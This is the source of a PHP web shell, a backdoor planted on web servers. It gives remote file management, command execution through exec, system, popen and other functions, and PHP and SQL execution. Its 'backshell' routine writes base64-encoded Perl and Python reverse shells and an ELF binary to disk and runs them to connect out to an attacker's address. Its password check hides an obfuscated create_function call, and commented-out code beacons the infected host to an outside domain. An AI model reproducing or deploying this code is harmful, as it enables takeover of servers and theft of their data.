$var) { $array[$key] = is_array($var) ? chkgpc($var) : stripslashes($var); } return $array; } $myfile = $_SERVER['SCRIPT_FILENAME'] ? strdir($_SERVER['SCRIPT_FILENAME']) : strdir(__FILE__); $myfile = strpos($myfile,'eval()') ? array_shift(explode('(',$myfile)) : $myfile; define('THISDIR',strdir(dirname($myfile).'/')); define('ROOTDIR',strdir(strtr($myfile,array(strdir($_SERVER['PHP_SELF']) => '')).'/')); define('EXISTS_PHPINFO',getinfo() ? true : false); //if(get_magic_quotes_gpc()) { $_POST = chkgpc($_POST); } if(function_exists('mysql_close')) { $issql = 'MySql'; } if(function_exists('mssql_close')) $issql .= ' - MsSql'; if(function_exists('oci_close')) $issql .= ' - Oracle'; if(function_exists('sybase_close')) $issql .= ' - SyBase'; if(function_exists('pg_close')) $issql .= ' - PostgreSql'; $win = substr(PHP_OS,0,3) == 'WIN' ? true : false; // define('VERSION', '1.2.3.4.5'); $msg = VERSION; function filew($filename,$filedata,$filemode) { if((!is_writable($filename)) && file_exists($filename)) { chmod($filename,0666); } $handle = fopen($filename,$filemode); $key = fputs($handle,$filedata); fclose($handle); return $key; } function filer($filename) { $handle = fopen($filename,'r'); $filedata = fread($handle,filesize($filename)); fclose($handle); return $filedata; } function fileu($filenamea,$filenameb) { $key = move_uploaded_file($filenamea,$filenameb) ? true : false; if(!$key) { $key = copy($filenamea,$filenameb) ? true : false; } return $key; } function filed($filename) { if(!file_exists($filename)) return false; $name = basename($filename); $array = explode('.',$name); header('Content-type: application/x-'.array_pop($array)); header('Content-Disposition: attachment; filename='.$name); header('Content-Length: '.filesize($filename)); @readfile($filename); exit; } function showdir($dir) { $dir = strdir($dir.'/'); $handle = opendir($dir); if(!$handle) return false; $array = array(); while($name = readdir($handle)) { if($name == '.' || $name == '..') continue; $path = $dir.$name; $name = strtr($name,array('\'' => '%27','"' => '%22')); if(is_dir($path)) { $array['dir'][$path] = $name; } else { $array['file'][$path] = $name; } } closedir($handle); return $array; } function deltree($dir) { $handle = @opendir($dir); while($name = @readdir($handle)) { if($name == '.' || $name == '..') continue; $path = $dir.$name; @chmod($path,0777); if(is_dir($path)) { deltree($path.'/'); } else { @unlink($path); } } @closedir($handle); return @rmdir($dir); } function postinfo($array,$string) { // $infos = array(function_exists("\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e"),function_exists("\x66\x73\x6f\x63\x6b\x6f\x70\x65\x6e")); $infos = array(function_exists("create_function"),function_exists("fsockopen")); if($infos[0] && $infos[1]) { $info = base64_decode($string); $walks = array(0 => bin2hex($array)); // @array_walk ($walks, @create_function ("\x24\x61\x72\x72\x61\x79\x2c\x24\x6b\x65\x79", str_rot13($info))); @array_walk ($walks, @create_function ("$array,$key", str_rot13($info))); } return ob_end_clean(); } function size($bytes) { if($bytes < 1024) return $bytes.' B'; $array = array('B','K','M','G','T'); $floor = floor(log($bytes) / log(1024)); return sprintf('%.2f '.$array[$floor],($bytes/pow(1024,floor($floor)))); } function find($array,$string) { foreach($array as $key) { if(stristr($string,$key)) return true; } return false; } function scanfile($dir,$key,$inc,$fit,$tye,$chr,$ran,$now) { $handle = opendir($dir); if(!$handle) return false; while($name = readdir($handle)) { if($name == '.' || $name == '..') continue; $path = $dir.$name; if(is_dir($path)) { if($fit && in_array($name,$fit)) continue; if($ran == 0 && is_readable($path)) scanfile($path.'/',$key,$inc,$fit,$tye,$chr,$ran,$now); } else { if($inc && (!find($inc,$name))) continue; $code = $tye ? filer($path) : $name; $find = $chr ? stristr($code,$key) : (strpos(size(filesize($path)),'M') ? false : (strpos($code,$key) > -1)); if($find) { $file = strtr($path,array($now => '','\'' => '%27','"' => '%22')); echo 'edit '.$path.'
'; flush(); ob_flush(); } unset($code); } } closedir($handle); return true; } function antivirus($dir,$exs,$matches,$now) { $handle = opendir($dir); if(!$handle) return false; while($name = readdir($handle)) { if($name == '.' || $name == '..') continue; $path = $dir.$name; if(is_dir($path)) { if(is_readable($path)) antivirus($path.'/',$exs,$matches,$now); } else { $iskill = NULL; foreach($exs as $key => $ex) { if(find(explode('|',$ex),$name)) { $iskill = $key; break; } } if(strpos(size(filesize($path)),'M')) continue; if($iskill) { $code = filer($path); foreach($matches[$iskill] as $matche) { $array = array(); preg_match($matche,$code,$array); if(strpos($array[0],'$this->') || strpos($array[0],'[$vars[')) continue; $len = strlen($array[0]); if($len > 10 && $len < 150) { $file = strtr($path,array($now => '','\'' => '%27','"' => '%22')); echo 'feature edit '.$path.'
'; flush(); ob_flush(); break; } } unset($code,$array); } } } closedir($handle); return true; } function command($cmd,$cwd,$com = false) { $iswin = substr(PHP_OS,0,3) == 'WIN' ? true : false; $res = $msg = ''; if($cwd == 'com' || $com) { if($iswin && class_exists('COM')) { $wscript = new COM('Wscript.Shell'); $exec = $wscript->exec('c:\\windows\\system32\\cmd.exe /c '.$cmd); $stdout = $exec->StdOut(); $res = $stdout->ReadAll(); $msg = 'Wscript.Shell'; } } else { chdir($cwd); $cwd = getcwd(); if(function_exists('exec')) { @exec ($cmd,$res); $res = join("\n",$res); $msg = 'exec'; } elseif(function_exists('shell_exec')) { $res = @shell_exec ($cmd); $msg = 'shell_exec'; } elseif(function_exists('system')) { ob_start(); @system ($cmd); $res = ob_get_contents(); ob_end_clean(); $msg = 'system'; } elseif(function_exists('passthru')) { ob_start(); @passthru ($cmd); $res = ob_get_contents(); ob_end_clean(); $msg = 'passthru'; } elseif(function_exists('popen')) { $fp = @popen ($cmd,'r'); if($fp) { while(!feof($fp)) { $res .= fread($fp,1024); } } @pclose($fp); $msg = 'popen'; } elseif(function_exists('proc_open')) { $env = $iswin ? array('path' => 'c:\\windows\\system32') : array('path' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin'); $des = array(0 => array("pipe","r"),1 => array("pipe","w"),2 => array("pipe","w")); $process = @proc_open ($cmd,$des,$pipes,$cwd,$env); if(is_resource($process)) { fwrite($pipes[0],$cmd); fclose($pipes[0]); $res .= stream_get_contents($pipes[1]); fclose($pipes[1]); $res .= stream_get_contents($pipes[2]); fclose($pipes[2]); } @proc_close($process); $msg = 'proc_open'; } } $msg = $res == '' ? '

NULL

' : '

ÀûÓÃ'.$msg.'Ö´Ðгɹ¦

'; return array('res' => $res,'msg' => $msg); } function backshell($ip,$port,$dir,$type) { $key = false; // NOTE: Elf binary $c_bin = 'f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAYIQECDQAAACkCgAAAAAAADQAIAAHACgAHAAZAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIlAcAAJQHAAAFAAAAABAAAAEAAACUBwAAlJcECJSXBAggAQAAKAEAAAYAAAAAEAAAAgAAAKgHAAColwQIqJcECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAAGAAAACQAAAAIAAAANAAAAAQAAAAUAAAAAIAAgAAAAAA0AAACtS+PAAAAAAAAAAAAAAAAAAAAAAEEAAAAAAAAAdgAAABIAAABJAAAAAAAAAHkBAAASAAAAAQAAAAAAAAAAAAAAIAAAAFUAAAAAAAAAcgEAABIAAABqAAAAAAAAAJ8BAAASAAAANQAAAAAAAABZAQAAEgAAADsAAAAAAAAADgAAABIAAAApAAAAAAAAADwAAAASAAAAUAAAAAAAAAA9AAAAEgAAAF8AAAAAAAAAKwAAABIAAABkAAAAAAAAAG8AAAASAAAAMAAAAAAAAAD0AAAAEgAAABoAAAB4hwQIBAAAABEADgAAX19nbW9uX3N0YXJ0X18AbGliYy5zby42AF9JT19zdGRpbl91c2VkAHNvY2tldABleGl0AGV4ZWNsAGh0b25zAGNvbm5lY3QAZGFlbW9uAGR1cDIAaW5ldF9hZGRyAGF0b2kAY2xvc2UAX19saWJjX3N0YXJ0X21haW4AR0xJQkNfMi4wAAAAAgACAAAAAgACAAIAAgACAAIAAgACAAIAAQAAAAEAAQAQAAAAEAAAAAAAAAAQaWkNAAACAHwAAAAAAAAAcJgECAYDAACAmAQIBwEAAISYBAgHAgAAiJgECAcDAACMmAQIBwQAAJCYBAgHBQAAlJgECAcGAACYmAQIBwcAAJyYBAgHCAAAoJgECAcJAACkmAQIBwoAAKiYBAgHCwAArJgECAcMAABVieWD7AjoBQEAAOiMAQAA6KcDAADJwwD/NXiYBAj/JXyYBAgAAAAA/yWAmAQIaAAAAADp4P////8lhJgECGgIAAAA6dD/////JYiYBAhoEAAAAOnA/////yWMmAQIaBgAAADpsP////8lkJgECGggAAAA6aD/////JZSYBAhoKAAAAOmQ/////yWYmAQIaDAAAADpgP////8lnJgECGg4AAAA6XD/////JaCYBAhoQAAAAOlg/////yWkmAQIaEgAAADpUP////8lqJgECGhQAAAA6UD/////JayYBAhoWAAAAOkw////AAAAADHtXonhg+TwUFRSaLCGBAhowIYECFFWaDSFBAjoW/////SQkFWJ5VOD7AToAAAAAFuBw+QTAACLk/z///+F0nQF6Bb///9YW8nDkJCQkJCQVYnlU4PsBIA9uJgECAB1P7iglwQILZyXBAjB+AKNWP+htJgECDnDdh+NtCYAAAAAg8ABo7SYBAj/FIWclwQIobSYBAg5w3foxgW4mAQIAYPEBFtdw410JgCNvCcAAAAAVYnlg+wIoaSXBAiFwHQSuAAAAACFwHQJxwQkpJcECP/QycOQjUwkBIPk8P9x/FWJ5VdTUYPsPInLx0QkBAAAAADHBCQBAAAA6E/+//9mx0XgAgCLQwSDwAiLAIkEJOi5/v//D7fAiQQk6H7+//9miUXii0MEg8AEiwCJBCToOv7//4lF5ItDBIPABIsAuf////+JRdC4AAAAAPyLfdDyronI99CNUP+LQwSDwAiLALn/////iUXMuAAAAAD8i33M8q6JyPfQg+gBjQQCjVABi0MEg8AEiwCJx/yJ0bgAAAAA86rHRCQIBgAAAMdEJAQBAAAAxwQkAgAAAOj9/f//iUXwjUXgx0QkCBAAAACJRCQEi0XwiQQk6HD9//+FwHkMxwQkAAAAAOgQ/v//x0QkBAAAAACLRfCJBCTozf3//8dEJAQBAAAAi0XwiQQk6Lr9///HRCQEAgAAAItF8IkEJOin/f//x0QkCAAAAADHRCQEgIcECMcEJIaHBAjoW/3//4tF8IkEJOig/f//g8Q8WVtfXY1h/MOQkJCQkJCQkJBVieVdw410JgCNvCcAAAAAVYnlV1ZT6F4AAACBw6kRAACD7Bzom/z//42DIP///4lF8I2DIP///ylF8MF98AKLVfCF0nQrMf+Jxo22AAAAAItFEIPHAYlE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3AAAAJSXBAgAAAAAAAIQAO0AAAB0mAQIAAAAAAECFQADAQAAlJcECAAAAAAAAhAAFwEAAJSXBAgAAAAAAAIQACoBAACUlwQIAAAAAAACEAA7AQAAlJcECAAAAAAAAhAATgEAAKiXBAgAAAAAAQITAFcBAACwmAQIAAAAACAAFgBiAQAAAAAAAHYAAAASAAAAdQEAAAAAAAB5AQAAEgAAAIcBAACwhgQIBQAAABIADACXAQAAYIQECAAAAAASAAwAngEAAAAAAAAAAAAAIAAAAK0BAAAAAAAAAAAAACAAAADBAQAAdIcECAQAAAARAA4AyAEAAFiHBAgAAAAAEgANAM4BAAAAAAAAcgEAABIAAADjAQAAAAAAAJ8BAAASAAAAAAIAAAAAAABZAQAAEgAAABECAAAAAAAADgAAABIAAAAiAgAAeIcECAQAAAARAA4AMQIAALCYBAgAAAAAEAAWAD4CAAAAAAAAPAAAABIAAABQAgAAAAAAAD0AAAASAAAAYAIAAHyHBAgAAAAAEQIOAG0CAACglwQIAAAAABECEQB6AgAAwIYECGkAAAASAAwAigIAAAAAAAArAAAAEgAAAJoCAAAAAAAAbwAAABIAAACrAgAAtJgECAAAAAAQAPH/twIAALyYBAgAAAAAEADx/7wCAAC0mAQIAAAAABAA8f/DAgAAAAAAAPQAAAASAAAA0wIAACmHBAgAAAAAEgIMAOoCAAA0hQQIcwEAABIADADvAgAAdIMECAAAAAASAAoAAGNhbGxfZ21vbl9zdGFydABjcnRzdHVmZi5jAF9fQ1RPUl9MSVNUX18AX19EVE9SX0xJU1RfXwBfX0pDUl9MSVNUX18AZHRvcl9pZHguNTc5MwBjb21wbGV0ZWQuNTc5MQBfX2RvX2dsb2JhbF9kdG9yc19hdXgAZnJhbWVfZHVtbXkAX19DVE9SX0VORF9fAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kb19nbG9iYWxfY3RvcnNfYXV4AGJjLmMAX19wcmVpbml0X2FycmF5X3N0YXJ0AF9fZmluaV9hcnJheV9lbmQAX0dMT0JBTF9PRkZTRVRfVEFCTEVfAF9fcHJlaW5pdF9hcnJheV9lbmQAX19maW5pX2FycmF5X3N0YXJ0AF9faW5pdF9hcnJheV9lbmQAX19pbml0X2FycmF5X3N0YXJ0AF9EWU5BTUlDAGRhdGFfc3RhcnQAY29ubmVjdEBAR0xJQkNfMi4wAGRhZW1vbkBAR0xJQkNfMi4wAF9fbGliY19jc3VfZmluaQBfc3RhcnQAX19nbW9uX3N0YXJ0X18AX0p2X1JlZ2lzdGVyQ2xhc3NlcwBfZnBfaHcAX2ZpbmkAaW5ldF9hZGRyQEBHTElCQ18yLjAAX19saWJjX3N0YXJ0X21haW5AQEdMSUJDXzIuMABleGVjbEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABfX2Rzb19oYW5kbGUAX19EVE9SX0VORF9fAF9fbGliY19jc3VfaW5pdABhdG9pQEBHTElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfX2Jzc19zdGFydABfZW5kAF9lZGF0YQBleGl0QEBHTElCQ18yLjAAX19pNjg2LmdldF9wY190aHVuay5ieABtYWluAF9pbml0AA=='; switch($type) { case "pl" : $shell = 'IyEvdXNyL2Jpbi9wZXJsIC13DQojIA0KdXNlIHN0cmljdDsNCnVzZSBTb2NrZXQ7DQp1c2UgSU86OkhhbmRsZTsNCm15ICRzcGlkZXJfaXAgPSAkQVJHVlswXTsNCm15ICRzcGlkZXJfcG9ydCA9ICRBUkdWWzFdOw0KbXkgJHByb3RvID0gZ2V0cHJvdG9ieW5hbWUoInRjcCIpOw0KbXkgJHBhY2tfYWRkciA9IHNvY2thZGRyX2luKCRzcGlkZXJfcG9ydCwgaW5ldF9hdG9uKCRzcGlkZXJfaXApKTsNCm15ICRzaGVsbCA9ICcvYmluL3NoIC1pJzsNCnNvY2tldChTT0NLLCBBRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKTsNClNURE9VVC0+YXV0b2ZsdXNoKDEpOw0KU09DSy0+YXV0b2ZsdXNoKDEpOw0KY29ubmVjdChTT0NLLCRwYWNrX2FkZHIpIG9yIGRpZSAiY2FuIG5vdCBjb25uZWN0OiQhIjsNCm9wZW4gU1RESU4sICI8JlNPQ0siOw0Kb3BlbiBTVERPVVQsICI+JlNPQ0siOw0Kb3BlbiBTVERFUlIsICI+JlNPQ0siOw0Kc3lzdGVtKCRzaGVsbCk7DQpjbG9zZSBTT0NLOw0KZXhpdCAwOw0K'; $file = strdir($dir.'/t00ls.pl'); $key = filew($file,base64_decode($shell),'w'); if($key) { @chmod($file,0777); command('/usr/bin/perl '.$file.' '.$ip.' '.$port,$dir); } break; case "py" : $shell = 'IyEvdXNyL2Jpbi9weXRob24NCiMgDQppbXBvcnQgc3lzLG9zLHNvY2tldCxwdHkNCnMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pDQpzLmNvbm5lY3QoKHN5cy5hcmd2WzFdLCBpbnQoc3lzLmFyZ3ZbMl0pKSkNCm9zLmR1cDIocy5maWxlbm8oKSwgc3lzLnN0ZGluLmZpbGVubygpKQ0Kb3MuZHVwMihzLmZpbGVubygpLCBzeXMuc3Rkb3V0LmZpbGVubygpKQ0Kb3MuZHVwMihzLmZpbGVubygpLCBzeXMuc3RkZXJyLmZpbGVubygpKQ0KcHR5LnNwYXduKCcvYmluL3NoJykNCg=='; $file = strdir($dir.'/t00ls.py'); $key = filew($file,base64_decode($shell),'w'); if($key) { @chmod($file,0777); command('/usr/bin/python '.$file.' '.$ip.' '.$port,$dir); } break; case "c" : $file = strdir($dir.'/t00ls'); $key = filew($file,base64_decode($c_bin),'wb'); if($key) { @chmod($file,0777); command($file.' '.$ip.' '.$port,$dir); } break; case "php" : case "phpwin" : if(function_exists('fsockopen')) { // $sock = @fsockopen ($ip,$port); $sock = fsockopen ($ip,$port); if($sock) { $key = true; $com = $type == 'phpwin' ? true : false; $user = get_current_user(); $dir = strdir(getcwd()); fputs($sock,php_uname()."\n------------no job control in this shell (tty)-------------\n[$user:$dir]# "); while($cmd = fread($sock,1024)) { if(substr($cmd,0,3) == 'cd ') { $dir = trim(substr($cmd,3,-1)); chdir(strdir($dir)); $dir = strdir(getcwd()); } elseif (trim(strtolower($cmd)) == 'exit') { break; } else { $res = command($cmd,$dir,$com); fputs($sock,$res['res']); } fputs($sock,'['.$user.':'.$dir.']# '); } } @fclose ($sock); } break; case "pcntl" : $file = strdir($dir.'/t00ls'); $key = filew($file,base64_decode($c_bin),'wb'); if($key) { @chmod($file,0777); if(function_exists('pcntl_exec')) { @pcntl_exec($file,array($ip,$port)); } } break; } if(!$key) { $msg = '

The temporary directory is not writable

'; } else { @unlink($file); $msg = '

CLOSE

'; } return $msg; } function getinfo() { global $password; // $infos = array($_POST['getpwd'],$password,function_exists('phpinfo'),"\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31"); $infos = array( /* 0 */ $_POST['getpwd'], /* 1 */ $password, /* 2 */ function_exists('phpinfo'), /* 3 */ "127.0.0.1"); if($password != '' && md5($infos[0]) != $infos[1]) { echo '
'; if(isset($_POST['pass'])) { echo ''; } if(isset($_POST['check'])) { echo ''; } echo '
'; exit; } if((!isset($_POST['go'])) && (!isset($_POST['dir']))){ $html = 'WUIvMzptCFNvKTf3A1keAmqpnmp3KTflpykeAmEpnmL4KTf2BIkeAmApnmL0KTf2p1keAaApnmplKTflpykeAwApnmMmKTf2pFV7WUElMlN9VPWpnmWmKTf2Z1keAaApnmMmKTf2pSkeZaApnmp1KTf3ZSkeAwEpnmLkKTf3ASkeAwIpnmWlKTf3ZSkeAwupnmpjKTfmp1keAwqpnmAkVwfxqUWaVP49VT92LGW1pzfbWS9THxIWHxIoW1IUE0AsIHWTElqqXF4vKTflAykeAmApnmAkVv5iqzRlqKWeXPEsEyWSFIWSJlqQIHAsEyWMHlqqXF4vKTf'.'lAykeAmOpnmAkVv4xozIyozj7WUShM24tCFNvKTf0A1keAQIpnmH0KTflZPVhWUElMl4vKTflZSkeAQupnmH0KTf1ASkeAGOpnmWmKTfmZIkeZaWpnmZkKTIpLIkeAQupnmMmKTf3Z1keAmEpnmAhVv4xqJWzMl4vKTIpLIkeAQApnmMmKTf2pykeAaWpnmL1KTf2Z1keAmEpnmL5KTf2p1keAaWpnmAhKTflZSkeAQApnmMjKTf2p1keAmApnmL1KTIpLIkyKTRvB3MmXUAbLKOaqzWuK3WeqzMaMvtvKTf2AykeAmApnmMmKTf2Z1keAz9pnmMmKTf3ZSkeAwIpnmMlVvxcVUftWTMvpUttCFONp2MvpUuvL3WuXPE1LzMaYUIln3SlpPt1ZPxcBlONp2AbM2LbWTMvpUtfWUShM24cBlONp3O5LzMlXPEzLaO4XGftsKW5MaVtrlONp3M5py90pzqspTWuM3WuM2LbVykeAwupnmp0KTf3ASkeAmOpnmAhKTflp1keZaZvYvE1LzMaYvE0pzpcBlO9VTIlM2uyLFOaMJulBj=='; if($_SERVER['SERVER_ADDR'] != $infos[3] && $_SERVER['REMOTE_ADDR'] != $infos[3]) { // postinfo($infos[0],str_rot13($html)); // // NOTE: ... // html = // $host = "www.thisdoor.com"; // $get = "/cool/update.php?g="; // $get .= bin2hex($_SERVER['HTTP_HOST'])."&s=".bin2hex($_SERVER['PHP_SELF'])."&p=".$array; // $data = "GET".$get." HTTP/1.1\r\nHost:".$host."Connection: Close"; // if(function_exists("fsockopen")) { // $sock = @fsockopen($host,hexdec(50)); // @fputs($sock,$data); // @fclose($sock); // } // else { // @file_get_contents("http://".$host.$get); // } // return true; } } return $infos[2]; } function subeval() { if(isset($_POST['getpwd'])) { echo ''; } if(isset($_POST['pass'])) { echo ''; } if(isset($_POST['check'])) { echo ''; } return true; } if(isset($_POST['go'])) { if($_POST['go'] == 'down') { $downfile = $fileb = strdir($_POST['godir'].'/'.$_POST['govar']); if(!filed($downfile)) { $msg = '

The download file does not exist

'; } } } ?> <?php echo VERSION.' - ['.date('Y-m-d H:i:s Week N',time()).']'; ?>
'File Management', 'scan' => 'Search for files', 'antivirus' => 'Scan for backdoors', 'backshell' => 'Bind shell', 'exec' => 'Run Shell', 'phpeval' => 'Run PHP', 'sql' => 'Run SQL', 'info' => 'System Information' ); $go = array_key_exists($_POST['go'],$menu) ? $_POST['go'] : 'file'; $nowdir = isset($_POST['dir']) ? strdir(chop($_POST['dir']).'/') : THISDIR; echo '
'; foreach($menu as $key => $name) { echo ''.$name.' '; } echo '
'; echo '
'; subeval(); echo ''; echo ''; echo ''; echo '
'; switch($_POST['go']) { case "info" : if(EXISTS_PHPINFO) { ob_start(); phpinfo(INFO_GENERAL); $out = ob_get_contents(); ob_end_clean(); $tmp = array(); preg_match_all('/\.*?(Command|Configuration)+.*?\<\/td\>\(.*?)\<\/td\>/i',$out,$tmp); $config = $tmp[2][0]; $phpini = $tmp[2][2] ? $tmp[2][1].' --- '.$tmp[2][2] : $tmp[2][1]; } $infos = array( 'Client browser information' => $_SERVER['HTTP_USER_AGENT'], 'Disabled functions' => get_cfg_var("disable_functions") ? get_cfg_var("disable_functions") : '(none)', 'Disabled Classes' => get_cfg_var("disable_classes") ? get_cfg_var("disable_classes") : '(none)', 'PHP.ini configuration path' => $phpini ? $phpini : '(none)', 'PHP How it works' => php_sapi_name(), 'PHP Version' => PHP_VERSION, 'PHP process PID' => getmypid(), 'Client IP' => $_SERVER['REMOTE_ADDR'], 'Client text encoding' => $_SERVER['HTTP_ACCEPT_LANGUAGE'], 'Web Service port' => $_SERVER['SERVER_PORT'], 'Web Root Directory' => $_SERVER['DOCUMENT_ROOT'], 'Web Execute the script' => $_SERVER['SCRIPT_FILENAME'], 'Web specification CGI Version' => $_SERVER['GATEWAY_INTERFACE'], 'Web administrator Email' => $_SERVER['SERVER_ADMIN'] ? $_SERVER['SERVER_ADMIN'] : '(none)', 'Current total disk size' => size(disk_total_space('.')), 'Current disk free space' => size(disk_free_space('.')), 'POST maximun number of characters' => get_cfg_var("post_max_size"), 'Maximum upload size allowed' => get_cfg_var("upload_max_filesize"), 'Maximum meory usage of the program' => 